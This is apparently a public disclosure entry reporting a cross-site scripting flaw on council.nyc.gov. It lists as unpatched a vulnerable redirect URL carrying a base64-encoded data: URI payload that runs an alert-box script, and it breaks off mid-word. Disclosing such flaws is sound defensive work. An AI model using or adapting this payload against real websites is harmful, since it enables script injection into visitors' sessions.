council.nyc.gov XSS vulnerability

Vulnerable URL: http://council.nyc.gov/cgi-bin/goto.cgi?agency=Council=data:text/html;base64,PHNjcmlwdD5hbGVydCgvWFNTUE9TRUQvKTwvc2NyaXB0Pg== Details: Description| Value ---|--- Patched:| No Latest check for patch:| 30.07.2017 Vulnerability type:| XSS Vulnerability status:| Publicly disclosed Ale...